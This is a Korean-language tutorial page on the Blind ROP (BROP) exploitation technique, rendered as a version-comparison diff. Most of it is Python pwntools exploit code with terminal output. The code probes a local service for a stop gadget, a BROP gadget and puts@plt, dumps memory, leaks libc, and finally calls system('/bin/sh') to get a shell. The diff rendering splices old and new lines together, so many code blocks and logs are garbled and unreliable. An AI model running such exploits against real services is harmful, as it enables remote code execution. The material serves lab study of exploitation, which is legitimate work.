Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  • 해당 스크립드를 실행하면 다음과 같이 문자열의 길이를 확인 할 수 있습니다.
    • 즉, 해당 길이의 문자열 뒤에 원하는 값을 저장하면 Return address를 덮어쓸수 있습니다.
Code Block
titlepython BROP./check_overflow.py
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROP./check_overflow.py 
[*] Overflow size : 72

...

Code Block
languagepy
titlefind_stop_gadget
base = 0x400000

def find_stop_gadget(size):
    p = log.progress("Searching for Stop gadget ") 

    for offset in range(1,0x1000):
        addr = int(base + offset)
         
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
         
        if offset % 0x100 == 0:
            log.info(" Progressed to  0x%x" % offset)
 
        try:
            r = remote(ip,port,level='error')
            r.recvuntil('WelCome my friend,Do you know password?\n')
            r.send(payload)
            response  = r.recv(timeout=0.2)
            r.close()
 
            if 'WelCome my friend,Do you know password?' in response:
                p.success("Done")
                log.info("Stop address: " +  hex(addr))
                return addr
        except Exception as e:
            r.close()
  • 다음과 같이 앞에서 작성한 스크립트를 이용해 Stop Gadget을 찾을 수 있습니다.
Code Block
titlepython BROP./find_stop_gadget.py
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROP./find_stop_gadget.py 
[*] Overflow size : 72
[!+] currentlySearching at 0x100
[!] currently at 0x200
[!] currently at 0x300
[!] currently at 0x400
[!] currently at 0x500for Stop gadget : Done
[*]  Progressed to 0x100
[*]  Progressed to 0x200
[*]  Progressed to 0x300
[*] Stop Progressed address:to 0x4005c00x400
[*] STOP Gadget   Progressed to 0x500
[*] Stop address: 0x4005c0
  • 발견된 Stop Gadget은 "_start() 함수의 시작 주소"입니다.
    • 즉, 해당 함수에 의해 main() 함수가 다시 호출됩니다.

...

Code Block
languagepy
titledef maybe_BROP_gadget(size, stop_gadget, addr):
def maybe_BROP_gadget(size, stop_gadget, addr):
    try:
        payload = ''
        payload += 'A' * size 
        payload += p64(addr) 
        payload += p64(0) * 6 
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')       
        r.sendline(payload)
        response = r.recv(timeout=0.2)

        r.close()
        
        if 'WelCome my friend,Do you know password?' in response:
            return True
        return False

    except Exception as e:
	    r.close()
        return False
  • 다음과 같이 Stop Gadget을 제거하고 BROP Gadget으로 추측되는 주소만을 사용해서 전달합니다.
    • 예외가 발생하면 BROP Gadget으로 판단합니다.
Code Block
languagepy
titledef is_BROP_gadget(size,addr):
def is_BROP_gadget(size,addr):
    try:
        payload = ''
        payload += 'A' * size 
        payload += p64(addr) 
        payload += p64(0x41) * 10

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv()
        r.close()
        return False

    except Exception as e:

        return True
  • 다음 코드를 이용하여 BROP Gadget을 찾을 수 있습니다.
Code Block
languagepy
titledef find_brop_gadget(size,stop_gadget):
def find_brop_gadget(size,stop_gadget):
    p = log.progress("Searching for BROP gadget ") 
    for offset in range(10x1,0x1000):
        if offset % 0x100 == 0:
            print "[!] currently at 0x%x"log.info('Progressed to 0x%x' % offset)

        addr = int(base + offset)
        
        if maybe_BROP_gadget(size,stop_gadget,addr):
            log.info('Maybe BROP Gagget : ' + hex(int(base + offset)))
            if is_BROP_gadget(size, addr):
                logp.info('Finded BROP Gagget : success("Done")
                log.info('Finded BROP Gagget : ' + hex(int(base + offset)))
                return addr

...

Code Block
titleFind BROP Gadget
lazenca0x0@ubuntu:~/Exploit/BROP$ python maybe_BROP_gadget.py 
[*] Overflow size : 72
[*+] Searching for STOPStop Gadgetgadget : 0x4005c0Done
[!*] currently Progressed atto 0x100
[!*]  currentlyProgressed atto 0x200
[!*] currently Progressed atto 0x300
[!*]  currentlyProgressed atto 0x400
[!*] currently Progressed atto 0x500
[*] Maybe BROP Gagget Stop address: 0x4005c0
[*+] MaybeSearching for BROP Gaggetgadget : 0x4005c2Done
[*] MaybeProgressed BROP Gagget : 0x4005c3to 0x100
[*] MaybeProgressed BROP Gagget : 0x4005c5to 0x200
[*] Maybe Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Maybe BROP Gagget : 0x4005c0
[*] Maybe BROP Gagget : 0x4005c2
[*] Maybe BROP Gagget : 0x4005c3
[*] Maybe BROP Gagget : 0x4005c5
[*] Maybe BROP Gagget : 0x4005c6
[*] Maybe BROP Gagget : 0x4005c7
[*] Maybe BROP Gagget : 0x4005c9
[*] Maybe BROP Gagget : 0x4005cd
[*] Maybe BROP Gagget : 0x4005ce
[*] Maybe BROP Gagget : 0x4005cf
[*] Maybe BROP Gagget : 0x4005d0
[*] Maybe BROP Gagget : 0x4005d6
[*] Maybe BROP Gagget : 0x4005d7
[*] Maybe BROP Gagget : 0x4005dd
[*] Maybe BROP Gagget : 0x4005de
[!*] currentlyProgressed atto 0x600
[*] Maybe BROP Gagget : 0x4006b6
[*] Maybe BROP Gagget : 0x4006b7
[*] Maybe BROP Gagget : 0x4006b8
[*] Maybe BROP Gagget : 0x4006ba
[*] Maybe BROP Gagget : 0x4006ce
[*] Maybe BROP Gagget : 0x4006e2
[*] Maybe BROP Gagget : 0x4006f6
[!*] currentlyProgressed atto 0x700
[*] Maybe BROP Gagget : 0x4007ba
[*] Finded BROP Gagget : 0x4007ba
[*+] BROP Gadget : 0x4007ba
[*+] RDI Gadget : 0x4007c3

Get puts@plt address

...

Code Block
languagepy
titledef find_puts_addr(size,stop_gadget,rdi_ret):
def find_puts_addr(size,stop_gadget,rdi_ret):
    forp offset in range(= log.progress("Searching for the address of puts@plt") 
    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size + p64(rdi_ret) 
        payload += p64(0x400000) 
        payload += p64(addr) 
        payload += p64(stop_gadget)

        if offset % 0x100 == 0:
            print "[!] currently at 0x%x"log.info('Progressed to 0x%x' % offset)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            response = r.recv()
            if response.startswith('\x7fELF'):
                print p.success("Done")
                log.success('find puts@plt addr: 0x%x' % addr)
                return addr
            r.close()
            addr += 1
        except Exception as e:
            r.close()
            addr += 1

...

Code Block
titleFind puts@plt
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROPfind_puts_addr.py 
[*] Overflow size : 72
[*+] Searching STOPfor Stop Gadgetgadget : 0x4005c0Done
[*] BROP GadgetProgressed :to 0x4007ba0x100
[*] RDI GadgetProgressed :to 0x4007c30x200
[!*]  currentlyProgressed atto 0x100
[!] currently at0x300
[*]  Progressed to 0x400
[*]  Progressed to 0x500
[*] Stop address: 0x4005c0
[+] Searching for BROP gadget : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[!*] currentlyProgressed atto 0x300
[!*] currentlyProgressed atto 0x400
[!*] currentlyProgressed atto 0x500
find puts@plt addr: 0x400555[*] Maybe BROP Gagget : 0x4005c0
[*] Maybe PutsBROP pltGagget : 0x400555

Dump memory

  • 다음 코드를 이용하여 프로그램의 메모리를 덤프 할 수 있습니다.
    • 앞에서 찾은 puts@plt주소를 이용하여 프로그램 메모리를 덤프 할 수 있습니다.
 0x4005c2
[*] Maybe BROP Gagget : 0x4005c3
[*] Maybe BROP Gagget : 0x4005c5
[*] Maybe BROP Gagget : 0x4005c6
[*] Maybe BROP Gagget : 0x4005c7
[*] Maybe BROP Gagget : 0x4005c9
[*] Maybe BROP Gagget : 0x4005cd
[*] Maybe BROP Gagget : 0x4005ce
[*] Maybe BROP Gagget : 0x4005cf
[*] Maybe BROP Gagget : 0x4005d0
[*] Maybe BROP Gagget : 0x4005d6
[*] Maybe BROP Gagget : 0x4005d7
[*] Maybe BROP Gagget : 0x4005dd
[*] Maybe BROP Gagget : 0x4005de
[*] Progressed to 0x600
[*] Maybe BROP Gagget : 0x4006b6
[*] Maybe BROP Gagget : 0x4006b7
[*] Maybe BROP Gagget : 0x4006b8
[*] Maybe BROP Gagget : 0x4006ba
[*] Maybe BROP Gagget : 0x4006ce
[*] Maybe BROP Gagget : 0x4006e2
[*] Maybe BROP Gagget : 0x4006f6
[*] Progressed to 0x700
[*] Maybe BROP Gagget : 0x4007ba
[*] Finded BROP Gagget : 0x4007ba
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Searching for the address of puts@plt : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[+] find puts@plt addr: 0x400555
[+] Puts plt : 0x400555

Dump memory

  • 다음 코드를 이용하여 프로그램의 메모리를 덤프 할 수 있습니다.
    • 앞에서 찾은 puts@plt주소를 이용하여 프로그램 메모리를 덤프 할 수 있습니다.
Code Block
languagepy
titledef memory_dump(size,stop_gadget,rdi_ret,put_plt):
def memory_dump(size,stop_gadget,rdi_ret,put_plt):
    now = base
    end = 0x401000
    dump = ""
 
    p = log.progress("Memory dump") 
    while now < end:
        if now % 0x100 == 0:
            log.info("Progressed to  0x%x" % now)
 
        payload = ''
        payload += 'A' * size
        payload += p64(rdi_ret)
        payload += p64(now)
        payload += p64(puts_plt)
        payload += p64(stop_gadget)
 
        r = remote(ip,port,level='error')
Code Block
languagepy
titledef memory_dump(size,stop_gadget,rdi_ret,put_plt):
def memory_dump(size,stop_gadget,rdi_ret,put_plt):

    now = base
    end = 0x401000
    dump = ""

    while now < end:
        if now % 0x100 == 0:
            log.info("Progressed to  0x%x" % now)
r.recvuntil('WelCome my friend,Do you know password?\n')
        payload = ''r.sendline(payload)
        payloadtry:
 += 'A' * size
        payloaddata += p64(rdi_retr.recv(timeout=0.5)
        payload   += p64r.close(now)
 
       payload += p64(puts_plt)
   data = data[:data.index("\nWelCome")]   payload += p64(stop_gadget)

      
  r = remote(ip,port,level='error')
    except ValueError as  r.recvuntil('WelCome my friend,Do you know password?\n')
e:
            data  r.sendline(payload)
= data
        except Exception as trye:
            continue
 data    = r.recv(timeout=0.5)
   
        if rlen(data.closesplit()) == 0:

            data = data[:data.index("\nWelCome")] '\x00'
 
        dump +=  data
        exceptnow ValueError as e:+= len(data)
          
  data = data
        except Exceptionwith open('memory.dump','wb') as ef:
            continuef.write(dump)

    p.success("Done")
  • 스크립트를 실행하면 다음과 같이 memory.dump 파일이 생성됩니다.
Code Block
titlememory.dump
lazenca0x0@ubuntu:~/Exploit/BROP$ python memory_dump.py  
[*] Overflow size : 72
[+] BROP Gadget : if len(data.split()) == 0:
            data = '\x00'

        dump += data
        now += len(data)
        
    with open('memory.dump','wb') as f:
        f.write(dump)
  • 스크립트를 실행하면 다음과 같이 memory.dump 파일이 생성됩니다.
Code Block
titlememory.dump
0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Puts plt : 0x400555
[+] Memory dump: Done
[*] Progressed to  0x400000
[*] Progressed to  0x400100
[*] Progressed to  0x400200
[*] Progressed to  0x400300
[*] Progressed to  0x400400
[*] Progressed to  0x400500
[*] Progressed to  0x400900
[*] Progressed to  0x400a00
[*] Progressed to  0x400b00
[*] Progressed to  0x400c00
[*] Progressed to  0x400d00
[*] Progressed to  0x400e00
[*] Progressed to  0x400f00
lazenca0x0@ubuntu:~/Exploit/BROP$ ls
brop  BROP.py  libc  memory.dump  run.sh
lazenca0x0@ubuntu:~/Exploit/BROP$ file memory.dump 
memory.dump: ERROR: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked error reading (Invalid argument)
lazenca0x0@ubuntu:~/Exploit/BROP$

...

Info

Leak address

  • 다음 코드를 이용하여 puts@got 영역에 저장된 libc address를 추출할 수 있습니다.

Code Block
titledef leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):
def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):got):
    payload = ''
    payload += 'A' * size
    payload += p64(rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_gadget)
    
    r.recvuntil('WelCome my friend,Do you know password?\n')
    r.sendline('A' * size + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget))payload)
    leakAddr = r.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True)
    leakAddr = ru64(leakAddr.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True)
    print leakAddr
    leakAddr = u64(leakAddr.ljust(8, '\x00'))
    return leakAddrljust(8, '\x00'))
    return leakAddr
Code Block
titleLeak the address of Libc
lazenca0x0@ubuntu:~/Exploit/BROP$ python leak_address.py 
[*] Overflow size : 72
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Puts plt : 0x400555
[*] Address of puts in libc : 0x7f760f884690
lazenca0x0@ubuntu:~/Exploit/BROP$

Libc Search

  • 다음과 같이 libc-database에서 제공하는 프로그램을 이용하여 libc의 정보를 찾을 수 있습니다.

    • puts@got에 저장된 값을 추출하여 프로그램에서 사용하는 libc 파일의 종류 및 필요한 함수의 offset을 찾을 수 있습니다.

Code Block
titleLibc Search - libc-database
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./add /usr/lib/libc-2.26.so
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./find puts 690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./dump libc6_2.23-0ubuntu10_amd64
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./dump libc6_2.23-0ubuntu10_amd64 puts
offset_puts = 0x000000000006f690
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ 

...

Code Block
titleFind libc offset
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROPlibc_search.py 
[*] Overflow size : 72
[*] STOP Gadget : 0x4005c0
[*] BROP Gadget : 0x4007ba
[*] RDI Gadget : 0x4007c3
[*] Puts plt : 0x400555
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[*] libc base : 0x7fc974723000
[*] system : 0x7fc974768390
[*] binsh : 0x7fc9748afd57

...

Code Block
languagepy
titleBROP.py
from pwn import *
from LibcSearcher import *
 
context#context.log_level = 'debug'
ip = '127.0.0.1'
port = 10001
base = 0x400000

def check_Overflow():
    for i in range(1,4096
base = 0x400000
 
def find_stop_gadget(size):
    p = log.progress("Searching for try:
Stop gadget ") 

    for offset    r = remote(ip,port,level='error')in range(1,0x1000):
        addr = int(base + responseoffset)
 = r.recvuntil('WelCome my friend,Do you know password?\n')  
        payload = ''
        payload    r.send("A"+= 'A' * i)size
            responsepayload += r.recvp64(addr)
         
   r.close()
     if offset % 0x100 == 0:
  if 'No password, no game' in response:
    log.info(" Progressed to 0x%x" % offset)
 
      i += 1try:
            else:r = remote(ip,port,level='error')
            r.recvuntil('WelCome my friend,Do you  r.close
know password?\n')
            r.send(payload)
     return i
      response  except EOFError as e:= r.recv(timeout=0.2)
            r.close()
 
           return iif - 1

def find_stop_gadget(size):  
    for offset in range(1,0x1000):
'WelCome my friend,Do you know password?' in response:
            addr = int(base + offset p.success("Done")
        
        payload = ''log.info("Stop address: " +  hex(addr))
        payload  += 'A' * size
   r.close()
     payload += p64(addr)
        
 return addr
      if offset %except 0x100Exception ==as 0e:
            log.info("Progressed to  0x%x" % offset)
r.close()

def check_Overflow():
    for i in range(1,4096):
        try:
            r = remote(ip,port,level='error')
            response = r.recvuntil('WelCome my friend,Do you know password?\n')           
            r.send(payload"A" * i)
            response  = r.recv(timeout=0.2)
            r.close()


            if 'No password, no game' in response:
                i if 'WelCome my friend,Do you know password?' in response:
+= 1
            else:
           log.info("Stop address: " +  hexr.close(addr))
                return addri
 
        except ExceptionEOFError as e:
            r.close()
            return i - 1
 
def maybe_BROP_gadget(size, stop_gadget, addr):
    try:
        payload = ''
        payload += 'A' * size 
        payload += p64(addr) 
        payload += p64(0) * 6 
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')       
        r.sendline(payload)
        response = r.recv(timeout=0.2)

        r.close()
        
        if 'WelCome my friend,Do you know password?' in response:
            return True
        return False

    except Exception as e:
	r.close()
        return False

def is_BROP_gadget(size,addr):
    try:
        payload = ''
        payload += 'A' * size 
        payload += p64(addr) 
        payload += p64(0x41) * 10

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv()
        r.close()
        return False

    except Exception as e:
	r.close()
        return True

def find_brop_gadget(size,stop_gadget):
    p = log.progress("Searching for BROP gadget ") 
    for offset in range(10x1,0x1000):
        if offset % 0x100 == 0:
            log.info("'Progressed to  0x%x"' % offset)

        addr = int(base + offset)
        
        if maybe_BROP_gadget(size,stop_gadget,addr):
            log.info('Maybe BROP Gagget : ' + hex(int(base + offset)))
            if is_BROP_gadget(size, addr):
                p.success("Done")
                log.info('Finded BROP Gagget : ' + hex(int(base + offset)))
                return addr

def find_puts_addr(size,stop_gadget,rdi_ret):
    p = log.progress("Searching for the address of puts@plt") 
    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size + p64(rdi_ret) 
        payload += p64(0x400000) 
        payload += p64(addr) 
        payload += p64(stop_gadget)

        if offset % 0x100 == 0:
            log.info("'Progressed to  0x%x"' % offset)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            response = r.recv()
            if response.startswith('\x7fELF'):
                p.success("Done")
               if responselog.startswithsuccess('\x7fELF'):find puts@plt addr: 0x%x' % addr)
                return addr
            r.close()
            addr += 1
        except Exception as e:
            r.close()
            addr += 1

def memory_dump(size,stop_gadget,rdi_ret,put_plt):

    now = base
    end = 0x401000
    dump = ""
 
    p = log.progress("Memory dump") 
    while now < end:
        if now % 0x100 == 0:
            log.info("Progressed to  0x%x" % now)
 
        payload = ''
        payload += 'A' * size
        payload += p64(rdi_ret)
        payload += p64(now)
        payload += p64(puts_plt)
        payload += p64(stop_gadget)
 
        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            data = r.recv(timeout=0.5)
            r.close()
 
            data = data[:data.index("\nWelCome")]            
        except ValueError as e:
            data = data
        except Exception as e:
            continue
         
        if len(data.split()) == 0:
            data = '\x00'
 
        dump += data
        now += len(data)
         
    
    with open('memory.dump','wb') as f:
        f.write(dump)

    p.success("Done")

def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):
    payload = ''
    payload += 'A' * size
    payload += p64(rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_gadget)
    
    r.recvuntil('WelCome my friend,Do you know password?\n')
    r.sendline(payload)
    leakAddr = r.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True)
    leakAddr = u64(leakAddr.ljust(8, '\x00'))
    return leakAddr

#sizesize = check_Overflow()
size = 72
log.successinfo('Overflow size : ' + str(size))

stop_gadget = find_stop_gadget(size)
#stop_gadget = 0x4005c0
log.success('STOP Gadget : ' + hex(stop_gadget))

brop_gadget = find_brop_gadget(size, stop_gadget)
#brop_gadget = 0x4007ba
log.success('BROP Gadget : ' + hex(brop_gadget))
rdi_gadget = brop_gadget + 9
log.success('RDI Gadget : ' +hex(rdi_gadget))

puts_plt = find_puts_addr(size,stop_gadget,rdi_gadget)
#puts_plt = 0x400555
log.success('Puts plt : ' + hex(puts_plt))

#memory_dump(size,stop_gadget,rdi_gadget,puts_plt)
puts_got = 0x601018

r = remote(ip,port,level='error')
addr_puts_libc = leak_libc(r,size,stop_gadget,rdi_gadget,puts_plt,puts_got)
#loglog.info('Address of puts in libc : ' + hex(addr_puts_libc))

lib = LibcSearcher('puts', addr_puts_libc)
libcBase = addr_puts_libc - lib.dump('puts')
system_addr = libcBase + lib.dump('system')
binsh_addr = libcBase + lib.dump('str_bin_sh')

log.successinfo('libc base : ' + hex(libcBase))
log.successinfo('system : ' + hex(system_addr))
log.successinfo('binsh : ' + hex(binsh_addr))

payload = "A" * size
payload += p64(rdi_gadget)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)

r.sendline(payload)
r.interactive()

...